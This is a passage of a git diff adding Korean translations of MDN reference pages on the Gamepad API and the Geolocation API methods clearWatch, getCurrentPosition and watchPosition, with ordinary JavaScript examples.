+<p>In Firefox, gamepads are only exposed to a page when the user interacts with one with the page visible. This helps prevent gamepads being used for fingerprinting the user. Once one gamepad has been interacted with, other gamepads that are connected will automatically be visible.</p>
+</div>
+
+<p>{{event("gamepadconnected")}} 이벤트를 이렇게 이용할 수 있습니다:</p>
+
+<pre class="brush: js;">window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+    e.gamepad.index, e.gamepad.id,
+    e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+</pre>
+
+<p>각 게임패드는 유니크한 ID와 연관되어 있는데, 이는 {{domxref("GamepadEvent.gamepad", "gamepad")}} 이벤트의 속성에서 사용가능합니다.</p>
+
+<h2 id="disconnecting" name="disconnecting">게임패드 연결해제</h2>
+
+<p>When a gamepad is disconnected, and if a page has previously received data for that gamepad (e.g. {{ event("gamepadconnected") }}), a second event is dispatched to the focused window, {{ event("gamepaddisconnected") }}:</p>
+
+<pre class="brush: js">window.addEventListener("gamepaddisconnected", function(e) {
+  console.log("Gamepad disconnected from index %d: %s",
+    e.gamepad.index, e.gamepad.id);
+});</pre>
+
+<p>The gamepad's {{domxref("Gamepad.index", "index")}} property will be unique per-device connected to the system, even if multiple controllers of the same type are used. The <code>index</code> property also functions as the index into the {{jsxref("Array")}} returned by {{ domxref("Navigator.getGamepads()") }}.</p>
+
+<pre class="brush: js">var gamepads = {};
+
+function gamepadHandler(event, connecting) {
+  var gamepad = event.gamepad;
+  // Note:
+  // gamepad === navigator.getGamepads()[gamepad.index]
+
+  if (connecting) {
+    gamepads[gamepad.index] = gamepad;
+  } else {
+    delete gamepads[gamepad.index];
+  }
+}
+
+window.addEventListener("gamepadconnected", function(e) { gamepadHandler(e, true); }, false);
+window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, false); }, false);
+</pre>
+
+<p>This previous example also demonstrates how the <code>gamepad</code> property can be held after the event has completed — a technique we will use for device state querying later.</p>
+
+<h2 id="querying" name="querying">게임패드 오브젝트에 질의</h2>
+
+<p>As you can see, the <strong>gamepad</strong> events discussed above include a <code>gamepad</code> property on the event object, which returns a {{ domxref("Gamepad") }} object. We can use this in order to determine which gamepad (i.e., its ID) had caused the event, since multiple gamepads might be connected at once. We can do much more with the {{ domxref("Gamepad") }} object, including holding a reference to it and querying it to find out which buttons and axes are being pressed at any one time. Doing so is often desirable for games or other interactive web pages that need to know the state of a gamepad now vs. the next time an event fires.</p>
+
+<p>Performing such checks tends to involve using the {{ domxref("Gamepad") }} object in conjunction with an animation loop (e.g., {{ domxref("Window.requestAnimationFrame","requestAnimationFrame") }}), where developers want to make decisions for the current frame based on the state of the gamepad or gamepads.</p>
+
+<p>The {{domxref("Navigator.getGamepads()")}} method returns an array of all devices currently visible to the webpage, as {{ domxref("Gamepad") }} objects (the first value is always <code>null</code>, so <code>null</code> will be returned if there are no gamepads connected.) This can then be used to get the same information. For example, the first code example above you be rewritten as shown below:</p>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+    gp.index, gp.id,
+    gp.buttons.length, gp.axes.length);
+});</pre>
+
+<p>The {{ domxref("Gamepad") }} object's properties are as follows:</p>
+
+<ul>
+ <li><code>id</code>: A string containing some information about the controller. This is not strictly specified, but in Firefox it will contain three pieces of information separated by dashes (<code>-</code>): two 4-digit hexadecimal strings containing the USB vendor and product id of the controller, and the name of the controller as provided by the driver. This information is intended to allow you to find a mapping for the controls on the device as well as display useful feedback to the user.</li>
+ <li><code>index</code>: An integer that is unique for each gamepad currently connected to the system. This can be used to distinguish multiple controllers. Note that disconnecting a device and then connecting a new device may reuse the previous index.</li>
+ <li><code>mapping</code>: A string indicating whether the browser has remapped the controls on the device to a known layout. Currently there is only one supported known layout — the <a href="https://dvcs.w3.org/hg/gamepad/raw-file/default/gamepad.html#remapping">standard gamepad</a>. If the browser is able to map controls on the device to that layout the <code>mapping</code> property will be set to the string <code>standard</code>.</li>
+ <li><code>connected</code>: A boolean indicating whether the gamepad is still connected to the system. If this is so the value is <code>True</code>; if not, it is <code>False</code>.</li>
+ <li><code>buttons</code>: An array of {{ domxref("GamepadButton") }} objects representing the buttons present on the device. Each {{ domxref("GamepadButton") }} has a <code>pressed</code> and a <code>value</code> property:
+  <ul>
+   <li>The <code>pressed</code> property is a boolean indicating whether the button is currently pressed (<code>true</code>) or unpressed (<code>false</code>).</li>
+   <li>The <code>value</code> property is a floating point value used to enable representing analog buttons, such as the triggers on many modern gamepads. The values are normalized to the range 0.0..1.0, with 0.0 representing a button that is not pressed, and 1.0 representing a button that is fully pressed.</li>
+  </ul>
+ </li>
+ <li><code>axes</code>: An array representing the controls with axes present on the device (e.g. analog thumb sticks). Each entry in the array is a floating point value in the range -1.0 - 1.0, representing the axis position from the lowest value (-1.0) to the highest value (1.0).</li>
+ <li><code>timestamp</code>: This returns a {{ domxref("DOMHighResTimeStamp") }} representing the last time the data for this gamepad was updated, allowing developers to determine if the <code>axes</code> and <code>button</code> data have been updated from the hardware. The value must be relative to the <code>navigationStart</code> attribute of the {{ domxref("PerformanceTiming") }} interface. Values are monotonically increasing, meaning that they can be compared to determine the ordering of updates, as newer values will always be greater than or equal to older values. Note that this property is not currently supported in Firefox.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: The Gamepad object is available on the {{ event("gamepadconnected") }} event rather than the {{ domxref("Window") }} object itself, for security reasons. Once we have a reference to it, we can query its properties for information about the current state of the gamepad. Behind the scenes, this object will be updated every time the gamepad's state changes.</p>
+</div>
+
+<h3 id="버튼_정보_이용하기">버튼 정보 이용하기</h3>
+
+<p>Let's look at a simple example that displays connection information for one gamepad (it ignores subsequent gamepad connections) and allows you to move a ball around the screen using the four gamepad buttons on the right hand side of the gamepad. You can <a href="http://chrisdavidmills.github.io/gamepad-buttons/">view the demo live</a>, and <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">find the source code</a> on Github.</p>
+
+<p>To start with, we declare some variables: The <code>gamepadInfo</code> paragraph that the connection info is written into, the <code>ball</code> that we want to move, the <code>start</code> variable that acts as the ID for <code>requestAnimation Frame</code>, the <code>a</code> and <code>b</code> variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the {{ domxref("Window.requestAnimationFrame", "requestAnimationFrame()") }} and {{ domxref("Window.cancelAnimationFrame", "cancelAnimationFrame()") }} cross browser forks.</p>
+
+<pre class="brush: js">var gamepadInfo = document.getElementById("gamepad-info");
+var ball = document.getElementById("ball");
+var start;
+var a = 0;
+var b = 0;
+</pre>
+
+<p>Next we use the {{event("gamepadconnected")}} event to check for a gamepad being connected. When one is connected, we grab the gamepad using {{ domxref("Navigator.getGamepads()") }}<code>[0]</code>, print information about the gamepad into our gamepad info <code>div</code>, and fire the <code>gameLoop()</code> function that starts the whole ball movement process up.</p>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+
+  gameLoop();
+});</pre>
+
+<p>Now we use the {{Event("gamepaddisconnected")}} event to check if the gamepad is disconnected again. If so, we stop the {{DOMxRef("Window.requestAnimationFrame", "requestAnimationFrame()")}} loop (see below) and revert the gamepad information back to what it was originally.</p>
+
+<pre class="brush: js">window.addEventListener("gamepaddisconnected", function(e) {
+  gamepadInfo.innerHTML = "Waiting for gamepad.";
+
+  cancelRequestAnimationFrame(start);
+});</pre>
+
+<p>Chrome does things differently here. Instead of constantly storing the gamepad's latest state in a variable it only stores a snapshot, so to do the same thing in Chrome you have to keep polling it and then only use the {{ domxref("Gamepad") }} object in code when it is available. We have done this below using {{ domxref("Window.setInterval()") }}; once the object is available the gamepad info is outputted, the game loop is started, and the interval is cleared using {{ domxref("Window.clearInterval()") }}. Note that in older versions of Chrome {{ domxref("Navigator.getGamepads()") }} is implemented with a <code>webkit</code> prefix. We attempt to detect and handle both the prefixed version and the standard version of the function for backwards compatibility.</p>
+
+<pre class="brush: js">var interval;
+
+if (!('ongamepadconnected' in window)) {
+  // No gamepad events available, poll instead.
+  interval = setInterval(pollGamepads, 500);
+}
+
+function pollGamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  for (var i = 0; i &lt; gamepads.length; i++) {
+    var gp = gamepads[i];
+    if (gp) {
+      gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id +
+        ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+      gameLoop();
+      clearInterval(interval);
+    }
+  }
+}</pre>
+
+<p>Now on to the main game loop. In each execution of the loop we check if one of four buttons is being pressed; if so, we update the values of the <code>a</code> and <code>b</code> movement variables appropriately, then update the {{ cssxref("left") }} and {{ cssxref("top") }} properties, changing their values to the current values of <code>a</code> and <code>b</code> respectively. This has the effect of moving the ball around the screen.  In current versions of Chrome (version 34 as of this writing) the button values are stored as an array of double values, instead of {{ domxref("GamepadButton") }} objects. This is fixed in development versions.</p>
+
+<p>After all this is done, we use our <font face="Consolas, Monaco, Andale Mono, monospace">requestAnimationFrame()</font> to request the next animation frame, running <code>gameLoop()</code> again.</p>
+
+<pre class="brush: js">function buttonPressed(b) {
+<span class="k">  if</span> <span class="p">(</span><span class="k">typeof</span><span class="p">(</span><span class="nx">b</span><span class="p">)</span> <span class="o">==</span> <span class="s2">"object"</span><span class="p">)</span> <span class="p">{</span>
+<span class="nx">    return</span> <span class="nx">b</span><span class="p">.</span><span class="nx">pressed</span><span class="p">;</span>
+<span class="nx">  </span><span class="p">}</span>
+<span class="p">  return</span> <span class="nx">b</span> <span class="o">==</span> <span class="mf">1.0</span><span class="p">;</span>
+}
+
+function gameLoop() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  if (!gamepads) {
+    return;
+  }
+
+  var gp = gamepads[0];
+  if (buttonPressed(gp.buttons[0])) {
+    b--;
+  } else if (buttonPressed(gp.buttons[2])) {
+    b++;
+  }
+  if (buttonPressed(gp.buttons[1])) {
+    a++;
+  } else if (buttonPressed(gp.buttons[3])) {
+    a--;
+  }
+
+  ball.style.left = a * 2 + "px";
+  ball.style.top = b * 2 + "px";
+
+  start = requestAnimationFrame(gameLoop);
+}</pre>
+
+<h3 id="Using_axes_information">Using axes information</h3>
+
+<p><strong>TBD (basically the same, except using axes[i] rather than button[i].value for both Firefox and Chrome.)</strong></p>
+
+<h2 id="Complete_example_Displaying_gamepad_state">Complete example: Displaying gamepad state</h2>
+
+<p>This example shows how to use the {{ domxref("Gamepad") }} object, as well as the {{ event("gamepadconnected") }} and {{ event("gamepaddisconnected") }} events in order to display the state of all gamepads connected to the system. You can find a <a href="http://luser.github.io/gamepadtest/">working demo</a> and look at the <a href="https://github.com/luser/gamepadtest">full source code</a> on Github.</p>
+
+<pre class="brush: js">var haveEvents = 'ongamepadconnected' in window;
+var controllers = {};<span style="font-size: 1rem;">
+
+</span><span style="font-size: 1rem;">function connecthandler(e) {
+</span><span style="font-size: 1rem;">  addgamepad(e.gamepad);
+</span><span style="font-size: 1rem;">}
+
+</span><span style="font-size: 1rem;">function addgamepad(gamepad) {
+</span><span style="font-size: 1rem;">  controllers[gamepad.index] = gamepad;
+
+  var d = document.createElement("div");
+</span><span style="font-size: 1rem;">  d.setAttribute("id", "controller" + gamepad.index);
+
+</span><span style="font-size: 1rem;">  var t = document.createElement("h1");
+</span><span style="font-size: 1rem;">  t.appendChild(document.createTextNode("gamepad: " + gamepad.id));
+</span><span style="font-size: 1rem;">  d.appendChild(t);
+
+</span><span style="font-size: 1rem;">  var b = document.createElement("div");
+</span><span style="font-size: 1rem;">  b.className = "buttons";
+</span><span style="font-size: 1rem;">  for (var i = 0; i &lt; gamepad.buttons.length; i++) {
+</span><span style="font-size: 1rem;">    var e = document.createElement("span");
+</span><span style="font-size: 1rem;">    e.className = "button";
+</span><span style="font-size: 1rem;">    //e.id = "b" + i;
+</span><span style="font-size: 1rem;">    e.innerHTML = i;
+</span><span style="font-size: 1rem;">    b.appendChild(e);
+</span><span style="font-size: 1rem;">  }
+
+</span><span style="font-size: 1rem;">  d.appendChild(b);
+
+</span><span style="font-size: 1rem;">  var a = document.createElement("div");
+</span><span style="font-size: 1rem;">  a.className = "axes";
+
+</span><span style="font-size: 1rem;">  for (var i = 0; i &lt; gamepad.axes.length; i++) {
+</span><span style="font-size: 1rem;">    var p = document.createElement("progress");
+</span><span style="font-size: 1rem;">    p.className = "axis";
+</span><span style="font-size: 1rem;">    //p.id = "a" + i;
+</span><span style="font-size: 1rem;">    p.setAttribute("max", "2");
+</span><span style="font-size: 1rem;">    p.setAttribute("value", "1");
+</span><span style="font-size: 1rem;">    p.innerHTML = i;
+</span><span style="font-size: 1rem;">    a.appendChild(p);
+</span><span style="font-size: 1rem;">  }
+
+</span><span style="font-size: 1rem;">  d.appendChild(a);
+
+  // See </span>https://github.com/luser/gamepadtest/blob/master/index.html<span style="font-size: 1rem;">
+  var start = </span><span style="font-size: 1rem;">document.getElementById("start");</span>
+<span style="font-size: 1rem;">  if (start) {
+</span><span style="font-size: 1rem;">    start.style.display = "none";
+  }
+</span><span style="font-size: 1rem;">
+  document.body.appendChild(d);
+</span><span style="font-size: 1rem;">  requestAnimationFrame(updateStatus);
+</span><span style="font-size: 1rem;">}
+</span><span style="font-size: 1rem;">
+function disconnecthandler(e) {
+</span><span style="font-size: 1rem;">  removegamepad(e.gamepad);
+</span><span style="font-size: 1rem;">}
+
+</span><span style="font-size: 1rem;">function removegamepad(gamepad) {
+</span><span style="font-size: 1rem;">  var d = document.getElementById("controller" + gamepad.index);
+</span><span style="font-size: 1rem;">  document.body.removeChild(d);
+</span><span style="font-size: 1rem;">  delete controllers[gamepad.index];
+</span><span style="font-size: 1rem;">}
+
+</span><span style="font-size: 1rem;">function updateStatus() {
+</span><span style="font-size: 1rem;">  if (!haveEvents) {
+</span><span style="font-size: 1rem;">    scangamepads();
+</span><span style="font-size: 1rem;">  }
+
+  var i = 0;
+  var j;
+
+</span><span style="font-size: 1rem;">  for (j in controllers) {
+</span><span style="font-size: 1rem;">    var controller = controllers[j];
+</span><span style="font-size: 1rem;">    var d = document.getElementById("controller" + j);
+</span><span style="font-size: 1rem;">    var buttons = d.getElementsByClassName("button");
+</span><span style="font-size: 1rem;">
+    for (i = 0; i &lt; controller.buttons.length; i++) {
+</span><span style="font-size: 1rem;">      var b = buttons[i];
+</span><span style="font-size: 1rem;">      var val = controller.buttons[i];
+</span><span style="font-size: 1rem;">      var pressed = val == 1.0;
+</span><span style="font-size: 1rem;">      if (typeof(val) == "object") {
+</span><span style="font-size: 1rem;">        pressed = val.pressed;
+</span><span style="font-size: 1rem;">        val = val.value;
+</span><span style="font-size: 1rem;">      }
+
+</span><span style="font-size: 1rem;">      var pct = Math.round(val * 100) + "%";
+</span><span style="font-size: 1rem;">      b.style.backgroundSize = pct + " " + pct;
+
+</span><span style="font-size: 1rem;">      if (pressed) {
+</span><span style="font-size: 1rem;">        b.className = "button pressed";
+</span><span style="font-size: 1rem;">      } else {
+</span><span style="font-size: 1rem;">        b.className = "button";
+</span><span style="font-size: 1rem;">      }
+</span><span style="font-size: 1rem;">    }
+
+</span><span style="font-size: 1rem;">    var axes = d.getElementsByClassName("axis");
+</span><span style="font-size: 1rem;">    for (i = 0; i &lt; controller.axes.length; i++) {
+</span><span style="font-size: 1rem;">      var a = axes[i];
+</span><span style="font-size: 1rem;">      a.innerHTML = i + ": " + controller.axes[i].toFixed(4);
+</span><span style="font-size: 1rem;">      a.setAttribute("value", controller.axes[i] + 1);
+</span><span style="font-size: 1rem;">    }
+</span><span style="font-size: 1rem;">  }
+
+</span><span style="font-size: 1rem;">  requestAnimationFrame(updateStatus);
+</span><span style="font-size: 1rem;">}
+
+</span><span style="font-size: 1rem;">function scangamepads() {
+</span><span style="font-size: 1rem;">  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []);
+</span><span style="font-size: 1rem;">  for (var i = 0; i &lt; gamepads.length; i++) {
+</span><span style="font-size: 1rem;">    if (gamepads[i]) {
+</span><span style="font-size: 1rem;">      if (gamepads[i].index in controllers) {
+</span><span style="font-size: 1rem;">        </span><span style="font-size: 1rem;">controllers[gamepads[i].index] = gamepads[i];
+</span><span style="font-size: 1rem;">      } else {
+</span><span style="font-size: 1rem;">        </span><span style="font-size: 1rem;">addgamepad(gamepads[i]);
+</span><span style="font-size: 1rem;">      }
+</span><span style="font-size: 1rem;">    }
+</span><span style="font-size: 1rem;">  }
+</span><span style="font-size: 1rem;">}
+
+</span><span style="font-size: 1rem;">
+window.addEventListener("gamepadconnected", connecthandler);
+</span><span style="font-size: 1rem;">window.addEventListener("gamepaddisconnected", disconnecthandler);
+
+</span><span style="font-size: 1rem;">if (!haveEvents) {
+</span><span style="font-size: 1rem;">  setInterval(scangamepads, 500);
+</span><span style="font-size: 1rem;">}</span></pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#gamepad-interface", "Gamepad")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial defintion</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Gamepad")}}</p>
diff --git a/files/ko/web/api/geolocation/clearwatch/index.html b/files/ko/web/api/geolocation/clearwatch/index.html
new file mode 100644
index 0000000000..b58c9b7738
--- /dev/null
+++ b/files/ko/web/api/geolocation/clearwatch/index.html
@@ -0,0 +1,92 @@
+---
+title: Geolocation.clearWatch()
+slug: Web/API/Geolocation/clearWatch
+tags:
+  - API
+  - Geolocation API
+  - Method
+  - Reference
+  - Secure context
+  - 위치
+  - 위치정보
+translation_of: Web/API/Geolocation/clearWatch
+---
+<div>{{securecontext_header}}{{ APIref("Geolocation API") }}</div>
+
+<p><strong><code>Geolocation.clearWatch()</code></strong> 메서드는 {{domxref("Geolocation.watchPosition()")}}로 등록한 위치 변화 감지 콜백을 해제합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">navigator.geolocation.clearWatch(<em>id</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>id</code></dt>
+ <dd>{{domxref("Geolocation.watchPosition()")}} 메서드가 반환하는 콜백 ID.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var id, target, option;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude &amp;&amp; target.longitude === crd.longitude) {
+    console.log('Congratulation, you reach the target');
+    navigator.geolocation.clearWatch(id);
+  }
+};
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+target = {
+  latitude : 0,
+  longitude: 0,
+}
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Geolocation.clearWatch")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Geolocation_API/Using_the_Geolocation_API">Geolocation API 사용하기</a></li>
+ <li>{{domxref("Geolocation")}}</li>
+ <li>{{domxref("Geolocation.watchPosition()")}}</li>
+ <li>{{domxref("Geolocation.getCurrentPosition()")}}</li>
+</ul>
diff --git a/files/ko/web/api/geolocation/getcurrentposition/index.html b/files/ko/web/api/geolocation/getcurrentposition/index.html
new file mode 100644
index 0000000000..ffe4aeae2f
--- /dev/null
+++ b/files/ko/web/api/geolocation/getcurrentposition/index.html
@@ -0,0 +1,88 @@
+---
+title: Geolocation.getCurrentPosition()
+slug: Web/API/Geolocation/getCurrentPosition
+tags:
+  - API
+  - Geolocation
+  - Geolocation API
+  - Method
+  - Reference
+  - Secure context
+  - 위치
+  - 위치정보
+translation_of: Web/API/Geolocation/getCurrentPosition
+---
+<div>{{securecontext_header}}{{ APIRef("Geolocation API") }}</div>
+
+<p><strong><code>Geolocation.getCurrentPosition()</code></strong> 메서드는 장치의 현재 위치를 가져옵니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">navigator.geolocation.getCurrentPosition(<em>success</em>[, <em>error</em>[, [<em>options</em>]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>success</code></dt>
+ <dd>{{domxref("GeolocationPosition")}} 객체를 유일한 매개변수로 받는 콜백 함수.</dd>
+ <dt><code>error</code> {{optional_inline}}</dt>
+ <dd>{{domxref("GeolocationPositionError")}} 객체를 유일한 매개변수로 받는 콜백 함수.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>{{domxref("PositionOptions")}} 객체.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var options = {
+  enableHighAccuracy: true,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+function success(pos) {
+  var crd = pos.coords;
+
+  console.log('Your current position is:');
+  console.log('Latitude : ' + crd.latitude);
+  console.log('Longitude: ' + crd.longitude);
+  console.log('More or less ' + crd.accuracy + ' meters.');
+};
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+navigator.geolocation.getCurrentPosition(success, error, options);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Geolocation.getCurrentPosition")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Geolocation_API/Using_the_Geolocation_API">Geolocation API 사용하기</a></li>
+ <li>{{domxref("Navigator.geolocation")}}</li>
+</ul>
diff --git a/files/ko/web/api/geolocation/index.html b/files/ko/web/api/geolocation/index.html
new file mode 100644
index 0000000000..475c706920
--- /dev/null
+++ b/files/ko/web/api/geolocation/index.html
@@ -0,0 +1,70 @@
+---
+title: Geolocation
+slug: Web/API/Geolocation
+tags:
+  - API
+  - Advanced
+  - Geolocation API
+  - Interface
+  - Reference
+  - Secure context
+  - 위치정보
+translation_of: Web/API/Geolocation
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>Geolocation</strong></code> 인터페이스는 장치의 위치를 가져오는 방법을 나타냅니다. <code>Geolocation</code>을 사용하면 웹 사이트나 웹 앱이 위치 정보를 활용해, 현재 위치에 대해 맞춤 콘텐츠를 제공할 수 있습니다.</p>
+
+<p>{{domxref("Navigator")}} 객체의 {{domxref("Navigator.geolocation", "geolocation")}} 속성으로 이 인터페이스를 구현하는 객체에 접근할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 보안 상의 문제로, 웹 페이지가 위치 정보에 접근을 시도하면 사용자에게 알림을 보내고 권한을 허용할지 묻습니다. 각 브라우저는 자신만의 권한 정책과 요청 방식을 가지고 있으므로 주의해야 합니다.</p>
+</div>
+
+<h2 id="속성">속성</h2>
+
+<p><em><code>Geolocation</code> 인터페이스는 어떤 속성도 구현하거나 상속하지 않습니다.</em></p>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em><em><code>Geolocation</code> 인터페이스는 어떤 메서드도 상속하지 않습니다.</em></em></p>
+
+<dl>
+ <dt>{{domxref("Geolocation.getCurrentPosition()")}} {{securecontext_inline}}</dt>
+ <dd>장치의 현재 위치를 조사한 후 {{domxref("GeolocationPosition")}} 객체로 반환합니다.</dd>
+ <dt>{{domxref("Geolocation.watchPosition()")}} {{securecontext_inline}}</dt>
+ <dd>장치의 위치가 변경될 때마다 호출하는 콜백을 등록합니다. 반환값은 콜백의 식별자로 쓸 수 있는 <code>long</code> 값입니다.</dd>
+ <dt>{{domxref("Geolocation.clearWatch()")}} {{securecontext_inline}}</dt>
+ <dd><code>watchPosition()</code>을 이용해 등록한 특정 콜백을 삭제합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>초기 명세.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Geolocation")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Geolocation_API/Using_the_Geolocation_API">Geolocation API 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/geolocation/watchposition/index.html b/files/ko/web/api/geolocation/watchposition/index.html
new file mode 100644
index 0000000000..0e38ea31ac
--- /dev/null
+++ b/files/ko/web/api/geolocation/watchposition/index.html
@@ -0,0 +1,99 @@
+---
+title: Geolocation.watchPosition()
+slug: Web/API/Geolocation/watchPosition
+tags:
+  - API
+  - Geolocation
+  - Geolocation API
+  - Method
+  - Reference
+  - Secure context
+translation_of: Web/API/Geolocation/watchPosition
+---
+<div>{{securecontext_header}}{{ APIref("Geolocation API") }}</div>
+
+<p><span class="seoSummary">{{domxref("Geolocation")}} 인터페이스의 <strong><code>watchPosition()</code></strong> 메서드는 장치의 위치가 바뀔 때마다 자동으로 호출할 처리기 함수를 등록할 때 사용합니다.</span> 선택적으로 오류 발생 시 사용할 콜백 함수도 지정할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">navigator.geolocation.watchPosition(<em>success</em>[, <em>error</em>[, <em>options</em>]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>success</code></dt>
+ <dd>{{domxref("GeolocationPosition")}} 객체를 입력 매개변수로 사용하는 콜백 함수.</dd>
+ <dt><code>error</code> {{optional_inline}}</dt>
+ <dd>{{domxref("GeolocationPositionError")}} 객체를 입력 매개변수로 사용하는 콜백 함수.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>위치 감지 설정 옵션을 제공하는 {{domxref("PositionOptions")}} 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>등록한 처리기를 식별할 때 사용하는 정수 ID. ID를 {{domxref("Geolocation.clearWatch()")}}에 전달해 등록을 해제할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var id, target, options;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude &amp;&amp; target.longitude === crd.longitude) {
+    console.log('Congratulations, you reached the target');
+    navigator.geolocation.clearWatch(id);
+  }
+}
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+}
+
+target = {
+  latitude : 0,
+  longitude: 0
+};
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#dom-geolocation-watchposition', 'watchPosition()')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Geolocation.watchPosition")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Geolocation_API/Using_the_Geolocation_API">Geolocation API 사용하기</a></li>
+ <li>메서드가 속한 {{domxref("Geolocation")}} 인터페이스와, 접근하는 방법인 {{domxref("NavigatorGeolocation.geolocation")}}.</li>
+ <li>처리기를 해제하는 {{domxref("Geolocation.clearWatch()")}} 메서드</li>
+ <li>비슷한 {{domxref("Geolocation.getCurrentPosition()")}} 메서드</li>
+</ul>
